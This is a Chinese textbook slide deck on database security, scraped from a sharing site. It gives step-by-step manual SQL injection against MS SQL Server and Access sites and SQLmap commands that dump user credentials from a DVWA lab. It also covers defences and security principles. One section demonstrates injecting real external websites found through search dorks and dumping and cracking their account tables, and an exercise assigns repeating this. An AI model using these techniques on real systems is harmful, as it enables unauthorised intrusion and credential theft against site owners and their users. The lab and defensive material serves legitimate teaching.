《第6章数据库系统安全技术.ppt》由会员分享,可在线阅读,更多相关《第6章数据库系统安全技术.ppt(58页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、1XXX 微信:XXX https:/ 微信:XXX https:/ 数据库系统安全技术本章学习目标 掌握SQL注入式攻击的原理 理解对SQL注入式攻击的防范 掌握使用SQLmap进行SQL注入技术 了解常见的数据库安全问题及安全威胁 了解数据库系统安全体系、机制和需求 了解数据库安全管理原则数据库系统是计算机技术的一个重要分支,从20世纪60年代后期发展至今,已经成为一门非常重要的学科。数据库是信息存储管理的主要形式,是单机或网络信息系统的主要基础。本章通过实例介绍数据库系统的安全特性及数据库系统安全所面临的威胁。3XXX 微信:XXX https:/ SQL注入式攻击SQL(Structu
2、redQueryLanguage,结构化查询语言)能够访问数据库,SQL有很多不同的版本,它们对相同的关键字(SELECT、UPDATE、DELETE、INSERT、CREATE、ALTER和DROP)有相似的使用方式,当前的主流SQL是SQL99。SQL能够执行获取数据库的信息、对数据库查询、向数据库中插入新的记录、删除数据库中的记录和更新数据库中的记录等操作。SQL注入式攻击就是把SQL命令插入到Web表单的输入域或页面的网址(URL)中,欺骗服务器执行恶意的SQL命令。1数据库系统数据库系统分为数据库和数据库管理系统:数据库是存放数据的地方;数据库管理系统是管理数据库的软件。数据库中数据
3、的存储结构称为数据模型,有4种常见的数据模型:层次模型、网状模型、关系模型和面向对象模型。其中,关系模型是最主要的数据模型。MSAccess、MSSQLServer、Oracle、MySQL、Postgres、Sybase、Infomix和DB2等都是关系数据库系统。4XXX 微信:XXX https:/ SQL注入式攻击2SQL注入的条件SQL注入式攻击是一种利用用户输入构造SQL语句的攻击。如果Web应用程序没有适当地检测用户输入的信息,攻击者就有可能改变后台执行的SQL语句的结构。由于程序运行SQL语句时的权限与当前该组件(如数据库服务器、Web服务器等)的权限相同,而这些组件一般的运行
4、权限都很高,而且经常是以管理员的权限运行,所以攻击者获得数据库的完全控制权后,就可能执行系统命令。SQL注入是现今存在最广泛的Web漏洞之一,是存在于Web应用程序开发中的漏洞,不是数据库本身的问题。只有调用数据库的动态页面才有可能存在注入漏洞,动态页面包括ASP、JSP、PHP、Perl和CGI等。当访问一个网页时,如果URL中包含“asp?id=”、“php?id=”或“jsp?id=”等类似内容,那么此时就要调用数据库的动态页面了,“?”后面的id称为变量,“=”后面的值称为参数。注入漏洞存在的一个重要条件是程序对用户提交的变量没有进行有效的过滤,就直接放入SQL语句中了。据统计,网站使
5、用ASP+MSAccess或MSSQLServer的占70%以上,使用PHP+MySQL的占20%,其他不到10%。下面通过实例介绍SQL注入式攻击给Web应用带来的威胁。5XXX 微信:XXX https:/ 实例注入式攻击MS SQL Server 本节要注入的网站如图6.1所示,由于只是为了介绍注入网站的方法,并未实质入侵该网站,同时也是为了对该网站保密,因此在后面的截图中隐藏了该网站的相关信息。图6.1显示的是要被注入网站的首页,将鼠标放在“我院召开平安奥运工作部署会”上,在状态栏显示其URL是http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 第2步
6、:测试“and1=1”。如图6.3所示,在浏览器地址栏中http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 第4步:判断数据库类型。对于不同的数据库,它们的函数和注入方法都有差异,所以在注入之前,还要判断数据库的类型。如果在第1步加单引号后得不到有价值的信息,那么可以利用“anduser0”来判断数据库类型。如图6.5所示,在浏览器地址栏中http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 使用下面的语句:http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 使用下面的语句:http:/ 微信:
7、XXX https:/ 实例注入式攻击MS SQL Server 继续猜测表名,如图6.11所示,在http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 第6步:猜测字段名(用户名和密码字段)。猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜测字段名。如图6.12所示,在浏览器地址栏中http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 第7步:猜测用户名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解码法猜测用户名。首先,猜测用户名的长度。如图6.14所示,在浏览器地址
8、栏中http:/ 微信:XXX https:/ 实例注入式攻击MS SQL Server 得到admin_name的长度以后,用unicode(substring(admin_name,N,1)获得第N位字符的ASCII码,比如:(1)猜测第1个字符。如图6.16所示,从productid=392and(selecttop1unicode(substring(admin_name,1,1)fromadminuser)0到productid=392and(selecttop1unicode(substring(admin_name,1,1)fromadminuser)121显示正常;如图6.17
9、所示,productid=392and(selecttop1unicode(substring(admin_name,1,1)fromadminuser)122显示不正常,得到第1个字符是“z”(查ASCII码字符表,字符z的十进制编码是122)。图6.17继续猜测第1个字符图6.16猜测第1个字符14XXX 微信:XXX https:/ 实例注入式攻击MS SQL Server 第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。第9步:修改密码。如果破解密码的难度很大,那么可以修改已经
10、猜测的用户名对应的密码,即http:/ 微信:XXX https:/ 实例注入式攻击Access 本节要注入网站的URL是http:/ 微信:XXX https:/ 实例注入式攻击Access 第3步:测试“and1=2”。如图6.20所示,在浏览器地址栏中http:/ 微信:XXX https:/ 实例注入式攻击Access 使用下面的语句:http:/ 微信:XXX https:/ 实例注入式攻击Access 第6步:猜测字段名(用户名和密码字段)。表名猜出来后,将count(*)替换成count(字段名),用同样的原理猜测字段名。首先猜测用户名字段: 微信:XXX https:/ 实例注
11、入式攻击Access 第8步:猜测用户密码。已知表admin中存在password字段,下面猜测用户admin的密码。猜测密码的长度: 微信:XXX https:/ SQLmap SQLmap是一个强大免费开源的自动化SQL注入工具,主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。目前支持的数据库有:MySQL、Oracle、PostgreSQL、MicrosoftSQLServer、MicrosoftAccess、SQLite、Firebird、Sybase、SAPMaxDB。SQLmap采用4种独特的SQL注入技术:盲推理SQL注入、UNION查询SQL注入、堆查询及基于时间的SQ
12、L盲注入。其广泛的功能和选项包括数据库指纹、枚举、数据库提取、访问目标文件系统,并在获取完全操作权限时实行任意命令。SQLmap命令选项被归类为目标、请求、优化、注入、检测、技巧(Techniques)、指纹、枚举等选项。SQLmap命令语法如下。sqlmapoptions-u|-g|-cSQLmap命令Options(选项)说明如表6.3表6.16所示。21XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 1实验环境实验环境如图6.26所示,使用宿主机(Windows10)、虚拟机KaliLinux(攻击机)、虚拟机WinXPsp3(目标机),KaliLinux和Wi
13、nXPsp3虚拟机的网络连接方式选择“仅主机(Host-Only)网络”。KaliLinux虚拟机有两块网卡,为了能够访问互联网,第二块网卡设置为NAT。从宿主机将文件xampp-win32-1.8.2-6-VC9-installer.exe、DVWA-20200503.zip拖放到目标机中。图6.26实验环境22XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 2安装XAMPP在目标机(WinXPsp3)双击xampp-win32-1.8.2-6-VC9-installer.exe安装XAMPP,安装位置是C:xampp,安装组件选择默认安装,如图6.27所示,安装完
14、成后,出现XAMPP控制面板窗口,如图6.28所示,单击“Start”按钮,开启Apache和MySQL服务。图6.27XAMPP安装组件23XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 图6.28XAMPP控制面板,Apache和MySQL24XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 图6.29数据库设置页面25XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 3安装DVWA在目标机(WinXPsp3),右键单击桌面DVWA-20200503.zip文件,将其解压到C:xampphtdocs,然后将DVWA-
15、master命名为dvwa,因此DVWA的安装位置是C:xampphtdocsdvwa。在IE浏览器的地址栏中输入http:/127.0.0.1/dvwa/并访问,会显示一个数据库设置页面,如图6.29所示。将文件C:xampphtdocsdvwaconfigconfig.inc.php.dist改名为config.inc.php,文件中$_DVWAdb_password=pssw0rd修改为$_DVWAdb_password=,保存config.inc.php文件,如图6.30所示。图6.30修改密码26XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 在图6.28中
16、,重启Apache服务。回到浏览器(如图6.29所示),单击页面下方的“Create/ResetDatabase”按钮,进入登录页面,如图6.31所示。输入默认用户名/密码(admin/password),进入Web应用程序,如图6.32所示。图6.31进入登录页面图6.32进入Web应用程序27XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 4使用SQLmap进行SQL注入下面操作都在攻击机(KaliLinux)中进行。第1步:获得当前会话Cookie等信息在Firefox浏览器中依次选择菜单栏“Tools”“Add-ons”,在搜索栏里输入TamperData,从
17、搜索结果中选择TamperData安装,如图6.33所示。图6.33安装插件TamperData28XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 在Firefox浏览器的地址栏中输入http:/192.168.56.102/dvwa/并访问,输入默认用户名/密码(admin/password),登录Web应用程序,为方便实验,将DVWA安全等级设置为Low,如图6.34所示。使用SQLmap之前,需要获得当前会话Cookie等信息,用来在渗透过程中维持连接状态。单击图6.34右上角的“TamperData”按钮,弹出窗口如图6.35所示,单击“Yes”按钮,启动插件
18、TamperData。再次回到如图6.34所示页面,单击“F5”刷新页面,弹出窗口如图6.36所示,得到当前的Cookie为“security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5”。再次单击图6.34右上角的“TamperData”按钮,停止插件TamperData的运行。图6.1 被注入网站的首页29XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 图6.34设置DVWA安全等级为Low30XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 图6.35启动插件TamperData31XXX 微信:XX
19、X https:/ 实例使用SQLmap进行SQL注入 图6.36获得当前会话Cookie等信息32XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 第2步:获得目标页面单击图6.34左侧栏的SQLInjection,接下来进入页面的“SQLInjection”部分,输入任意值(asd)并提交,如图6.37所示。图6.37获得目标页面URL33XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 可以看到get请求的ID参数(在浏览器地址栏)如下,这就是所需目标页面的URL。http:/192.168.56.102/dvwa/vulnerabilit
20、ies/sqli/?id=asd&Submit=Submit#第3步:初步验证网站是否可以进行SQL注入执行如下命令初步验证网站是否可以进行SQL注入,结果如图6.38所示。sqlmap-u http:/192.168.56.102/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#-cookie=security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5图6.38初步验证网站是否可以进行SQL注入34XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 第4步:检索当前数据库和当前用户执
21、行如下命令检索当前数据库和当前用户,结果如图6.39所示。sqlmap-uhttp:/192.168.56.102/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#-cookie=security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5-b-current-db-current-user图6.39检索当前数据库和当前用户35XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 第5步:探测MYSQL中用来存放应用数据的数据库名称执行如下命令检索存放应用数据的数据库名称,结果如图6.40
22、所示。sqlmap-uhttp:/192.168.56.102/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#-cookie=security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5-dbs图6.40枚举DBMS中的数据库36XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 第6步:枚举指定数据库中的表执行如下命令枚举指定数据库(DVWA)中的表,结果如图6.41所示。sqlmap-uhttp:/192.168.56.102/dvwa/vulnerabilities/sqli/?
23、id=asd&Submit=Submit#-cookie=security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5-Ddvwa-tables图6.41枚举指定数据库中的表37XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 第7步:枚举指定表中的所有列执行如下命令枚举指定表(users)中的所有列,结果如图6.42所示。sqlmap-uhttp:/192.168.56.102/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#-cookie=security=low;PHPSESSI
24、D=b8fkg76oubth7bv28euhttnit5-Ddvwa-Tusers-columns图6.42枚举指定表中的所有列38XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 第8步:导出指定表中所有的用户名和密码执行如下命令检索指定表(users)中所有的用户名和密码,结果如图6.43所示。sqlmap-uhttp:/192.168.56.102/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#-cookie=security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5-Ddv
25、wa-Tusers-columns-dump图6.43导出指定表中所有的用户名和密码39XXX 微信:XXX https:/ 实例使用SQLmap进行SQL注入 感兴趣的列是user和password。执行如下命令将指定列的内容(所有用户名与密码)提取出来,SQLmap会提问是否破解密码,输入Y,按回车键确认。结果如图6.44所示。此时,可以使用admin帐户登录系统。sqlmap-uhttp:/192.168.56.102/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#-cookie=security=low;PHPSESSID=b8fkg7
26、6oubth7bv28euhttnit5-Ddvwa-Tusers-Cuser,password-dump图6.44导出指定表中所有的用户名和密码40XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站1实验环境实验环境如图6.26所示,使用宿主机(Windows 10)和虚拟机KaliLinux。2使用SQLmap注入外部网站第1步:寻找目标网站在宿主机(Windows 10),使用google或baidu搜索“inurl:tw/news.asp?id=”或“inurl:tw/news.php?id=”,搜索结果如图6.45所示。其他可以搜索的字符串可参考表6.17,对于a
27、sp站点,可将表6.17中的php替换为asp。图6.45使用google寻找目标网站41XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站下面的操作都在虚拟机KaliLinux中进行。第2步:从搜索结果中选择一个网站从搜索结果中选择一个目标网站(URL:http:/.tw/news.php?id=97),使用Firefox浏览器访问URL,如图6.46所示。图6.46选择一个目标网站42XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站第3步:检测选择的网站是否存在漏洞方法1:在上一步的URL最后加上单引号,单引号的URL编码为%27。在浏览器访问ht
28、tp:/.tw/news.php?id=97%27,如图6.47所示。没有报错,并且与图6.46对比页面发生了变化,说明网站存在SQL注入漏洞。字符URL编码是该字符的ASCII值的十六进制表示,再在前面加个%。图6.47浏览器访问URL43XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站方法2:在浏览器访问http:/.tw/news.php?id=97%20and%201=1,如图6.48所示。在浏览器访问http:/.tw/news.php?id=97%20and%201=2,如图6.49所示。图6.49URL后加上“and1=2”图6.48URL后加上“and1=
29、1”44XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站第4步:获取数据库版本执行如下命令获取数据库版本,结果如图6.50所示。sqlmap-uhttp:/.tw/news.php?id=97图6.50获取数据库版本45XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站第5步:探测MYSQL中用来存放应用数据的数据库名称执行如下命令检索存放应用数据的数据库名称(hooyaico、information_schema),结果如图6.51所示。sqlmap-uhttp:/.tw/news.php?id=97-dbs图6.51枚举DBMS中的数据库46XXX
30、 微信:XXX https:/ 实例使用SQLmap注入外部网站第6步:枚举指定数据库中的表执行如下命令枚举指定数据库(hooyaico)中的表(options、account、category、detail、indexpic、moon、news、news_k),结果如图6.52所示。sqlmap-uhttp:/.tw/news.php?id=97-Dhooyaico-tables图6.52枚举指定数据库中的表47XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站第7步:枚举指定表中的所有列执行如下命令枚举指定表(account)中的所有列(id、account、passw
31、d),结果如图6.53所示。sqlmap-uhttp:/.tw/news.php?id=97-Dhooyaico-Taccount-columns图6.53枚举指定表中的所有列48XXX 微信:XXX https:/ 实例使用SQLmap注入外部网站第8步:进行暴库,导出指定表中所有的用户名和密码执行如下命令检索指定表(users)中所有的用户名和密码,结果如图6.54所示,发现弱口令很快被破解。复杂口令的密文可以使用其他工具进一步破解。sqlmap-uhttp:/.tw/news.php?id=97-Dhooyaico-Taccount-columns-dump或sqlmap-uhttp:/
32、.tw/news.php?id=97-Dhooyaico-Taccount-Caccount,passwd-dump图6.54导出指定表中所有的用户名和密码49XXX 微信:XXX https:/ 如何防范SQL注入式攻击要防止ASP应用被SQL注入式攻击,只需在将表单输入的内容构造成SQL命令之前,把所有的输入内容过滤一遍即可。过滤输入内容的方式如下。1对于动态构造SQL查询的场合(1)替换单引号。把所有单独出现的单引号改成两个单引号,防止攻击者修改SQL命令的含义。再来看前面的例子,“select*fromadminwherename=or1=1andpassword=or1=1”显然会得
33、到与“select*fromadminwherename=or1=1andpassword=or1=1”不同的结果。(2)删除用户输入内容中的所有连字符。防止攻击者构造出诸如“select*fromadminwherename=ztg-andpassword=”之类的查询,因为这类查询的后半部分已经被(-)注释掉,不再有效,攻击者只要知道一个合法的用户登录名称,根本不需要知道用户的密码就可以顺利获得访问权限。(3)对于用来执行查询的数据库账户,限制其权限。用不同的账户执行查询、插入、更新和删除操作,可以防止原本用于执行select命令的地方却被用于执行insert、update或delete命
34、令。(4)过滤特殊字符。在接收URL参数时可以通过SetRequest()函数过滤特殊字符,防止SQL注入。函数名:SetRequest(ParaName,RequestType,ParaType)。ParaName:参数名称,字符型。ParaType:参数类型,数字型(1表示数字,0表示字符)。RequestType:请求方式,数字型(0:直接请求,1:Request请求,2:post请求,3:get请求,4:Cookies请求,5:Web请求)。50XXX 微信:XXX https:/ 如何防范SQL注入式攻击2用存储过程来执行所有的查询SQL参数的传递方式将防止攻击者利用单引号和连字符实
35、施攻击。此外,它还使得数据库权限可以限制到只允许特定的存储过程执行,所有的用户输入必须遵循被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。3限制表单或查询字符串输入的长度如果用户的登录名最多只有15个字符,那么不要认可表单中输入的15个以上的字符,这将增加攻击者在SQL命令中插入有害代码的难度。4检查用户输入的合法性,确信输入的内容只包含合法的数据数据检查应当在客户端和服务器端都执行,之所以要执行服务器端验证,是为了弥补客户端验证机制脆弱的安全性。因为在客户端,攻击者完全有可能获得网页的源代码,修改验证合法性的脚本(或者直接删除脚本),然后将非法内容通过修改后的表单提交给服务器。因
36、此,要保证验证操作确实已经执行,唯一的办法就是在服务器端也执行验证。5将用户登录名称、密码等数据加密保存加密用户输入的数据,然后再将它与数据库中保存的数据比较,这样用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。6检查提取数据的查询所返回的记录数量如果程序只要求返回一条记录,但实际返回的记录却超过一条,那就当作出错处理。另外,要遵循以下4条基本规则:(1)在构造动态SQL语句时,一定要使用类型安全的参数编码机制。(2)在部署Web应用前,要做安全审评。在每次更新时,还要认真地对所有的编码做安全审评。(3)不要把敏感的数据以明文的形式存放在数据库里。(4)只给访问
37、数据库的Web应用所需的最低权限。51XXX 微信:XXX https:/ 常见的数据库安全问题及安全威胁数据库中存放着重要的信息,可能是知识产权(如可口可乐的配方、Microsoft的程序源代码),也可能是价格和交易数据或客户信息(如某公司的客户资料文档)。数据库中的这些数据作为商业信息或知识,一旦遭受安全威胁,将带来难以想象的严重后果。绝大多数企业甚至安全公司在规划企业安全时往往把注意力集中于网络和操作系统的安全,而忽视了最重要的数据库安全。数据库安全是一个广阔的领域,从传统的备份与恢复、认证与访问控制,到数据存储和通信环节的加密,它作为操作系统之上的应用平台,其安全与网络和主机的安全息息
38、相关。1常见的数据库安全问题尽管数据库安全性很重要,但是多数企业还是不愿意在发生无可挽回的事件前着手考虑和解决相关的安全问题,下面列出了常见的数据库安全问题。(1)脆弱的账号设置。在许多成熟的操作系统环境中,由于受企业安全策略或政府规定的约束,数据库用户往往缺乏足够的安全设置。例如,默认的用户账号和密码对大家都是公开的,却没被禁用或修改以防止非授权访问。用户账号设置在缺乏基于字典的密码强度检查和用户账号过期控制的情况下,只能提供很有限的安全功能。(2)缺乏角色分离。传统数据库管理并没有“安全管理员(SecurityAdministrator)”这一角色,这就迫使数据库管理员(DBA)既要负责账
39、号的维护管理,又要专门对数据库执行性能和操作行为进行调试跟踪,从而导致管理效率低下。(3)缺乏审计跟踪。数据库审计经常被DBA以提高性能或节省磁盘空间为由忽视或关闭,这就大大降低了管理分析的可靠性和效力。审计跟踪对了解哪些用户行为导致某些数据的产生至关重要,它将与数据直接相关的事件都记入日志。因此,监视数据访问和用户行为是最基本的管理手段。(4)未利用的数据库安全特征。为了实现个别应用系统的安全而忽视数据库安全是很常见的事情。但是,这些安全措施只应用在客户端软件的用户上,其他许多工具,如MicrosoftAccess和已有的通过OBDC或专有协议连接数据库的公用程序,它们都绕过了应用层安全。因
40、此,唯一可靠的安全功能都应限定在数据库系统内部。52XXX 微信:XXX https:/ 常见的数据库安全问题及安全威胁2数据库的安全威胁(1)数据库维护不当。向数据库中输入了错误或被修改的数据,有的敏感数据在输入过程中已经泄露了,已经失去应有的价值;在数据库维护(添加、删除、修改)和利用过程中可能对数据的完整性造成破坏。(2)硬件故障。支持数据库系统的硬件环境故障,如断电造成的信息丢失,硬盘故障致使数据库中的数据读不出来,环境灾害和人为破坏也是对数据库系统的威胁。(3)功能弱的数据库。如果数据库系统的安全保护功能很弱,或根本没有安全保护机制(如DBASE类数据库),那么数据库的攻击者就很容易
41、攻破数据库。(4)权限分配混乱。数据库管理员专业知识不够,不能很好地利用数据库的保护机制和安全策略,不能合理地分配用户的权限,或经若干次改动后造成用户权限与用户级别混乱配合,可能会产生越权访问的情况。(5)黑客的攻击。网络黑客或内部恶意用户整天琢磨操作系统和数据库系统的漏洞,对网络与数据库的攻击手段不断翻新,千方百计地入侵系统。相反,各部门对数据库的安全防护经费投入不足,研究深度不够,系统的安全设施改进速度跟不上黑客对系统破解的速度。(6)病毒的威胁。计算机病毒的威胁日益严重,直接威胁网络数据库服务器的安全。53XXX 微信:XXX https:/ 数据库系统安全体系数据库系统的安全除依赖自身
42、内部的安全机制外,还与外部网络环境、应用环境、从业人员素质等因素息息相关,因此,从广义上讲,数据库系统的安全框架可以分为三个层次:网络系统层次、宿主操作系统层次和数据库管理系统层次。这三个层次构筑了数据库系统的安全体系,与数据安全的关系是逐步紧密的,防范的重要性也逐层加强,从外到内、由表及里保证数据的安全。54XXX 微信:XXX https:/ 数据库系统安全机制20世纪80年代,美国国防部根据军用计算机系统的安全需要,制定了可信计算机系统安全评估标准(TrustedComputerSystemEvaluationCriteria,TCSEC),以及该标准的可信数据库系统的解释(Truste
43、dDatabaseInterpretation,TDI),从而形成了最早的信息安全及数据库安全评估体系。TCSEC/TDI将系统安全性分为4组7个等级,依次是D(最小保护)、C1(自主安全保护)、C2(受控存取保护)、B1(标记安全保护)、B2(结构化保护)、B3(安全域)和A1(验证设计),按系统可靠或可信程度逐渐增高。数据库安全机制是用于实现数据库的各种安全策略的功能集合,正是由这些安全机制来实现安全模型,进而实现保护数据库系统安全的目标。近年来,对用户的认证与鉴别、存取控制、数据库加密及推理控制等安全机制的研究取得了不少新的进展。55XXX 微信:XXX https:/ 数据库系统安全需
44、求与其他计算机系统(如操作系统)的安全需求类似,数据库系统的安全需求可以归纳为完整性、保密性和可用性3个方面。1完整性数据库系统的完整性主要包括物理完整性、逻辑完整性和元素完整性。物理完整性:是指保证数据库的数据不受物理故障(如硬件故障、火灾或掉电等)的影响,并有可能在发生灾难性毁坏时重建和恢复数据库。逻辑完整性:是指系统能够保持数据库的结构不受破坏,如对一个字段的修改不至于影响到其他字段。对数据库逻辑结构的保护包括数据语义与操作完整性,前者主要指数据存取在逻辑上满足完整性约束;后者主要指在并发事务中保证数据的逻辑一致性。元素完整性:是指包括在每个元素中的数据都是准确的。2保密性数据库的保密性
45、是指不允许未经授权的用户存取数据。数据库的保密性包括访问控制、用户认证、审计跟踪、数据加密等内容。一般要求对用户的身份进行标识与鉴别,并采取相应的存取控制策略以保证用户仅能访问授权数据,同一组数据的不同用户可以被赋予不同的存取权限。同时,还应能够对用户的访问操作进行跟踪和审计。此外,还应该控制用户通过推理方式从经过授权的已知数据获取未经授权的数据,造成信息泄露。3可用性数据库的可用性是指不应拒绝授权用户对数据库的正常操作,同时保证系统的运行效率并提供用户友好的人机交互。数据库的保密性与可用性是一对矛盾,对这个矛盾的分析与解决构成了数据库系统的安全模型和安全机制。56XXX 微信:XXX htt
46、ps:/ 数据库系统安全管理一个强大的数据库安全系统应当确保其中信息的安全性并对其有效地控制。下面列举的原则有助于企业在安全规划中实现客户利益保障、策略制定以及对信息资源的有效保护。1管理细分和委派原则2最小权限原则3账号安全原则4有效的审计5数据库的备份57XXX 微信:XXX https:/ 题 61填空题(1)是指攻击者通过黑盒测试的方法检测目标网站脚本是否存在过滤不严的问题,如果有,那么攻击者就可以利用某些特殊构造的SQL语句,通过在浏览器直接查询管理员的用户名和密码,或利用数据库的一些特性进行权限提升。(2)数据库系统分为和。(3)只有调用数据库动态页面才有可能存在注入漏洞,动态页面
47、包括、和等。(4)是一个强大免费开源的自动化SQL注入工具,主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。(5)从广义上讲,数据库系统的安全框架可以分为3个层次:、和。(6)常用的数据库备份方法有:、和。(7)数据库系统的安全需求有:、和。(8)数据库安全管理原则有:、和。58XXX 微信:XXX https:/ 题 62思考与简答题(1)阐述注入式攻击MSSQLServer的一般过程。(2)阐述注入式攻击Access的一般过程。(3)如何防范SQL注入式攻击?3上机题(1)根据6.1.5节,搭建实验环境,使用SQLmap进行SQL注入式攻击。(2)根据6.1.6节,使用SQLmap注入外部网站。注意:主要是为了实验,不要有违法行为。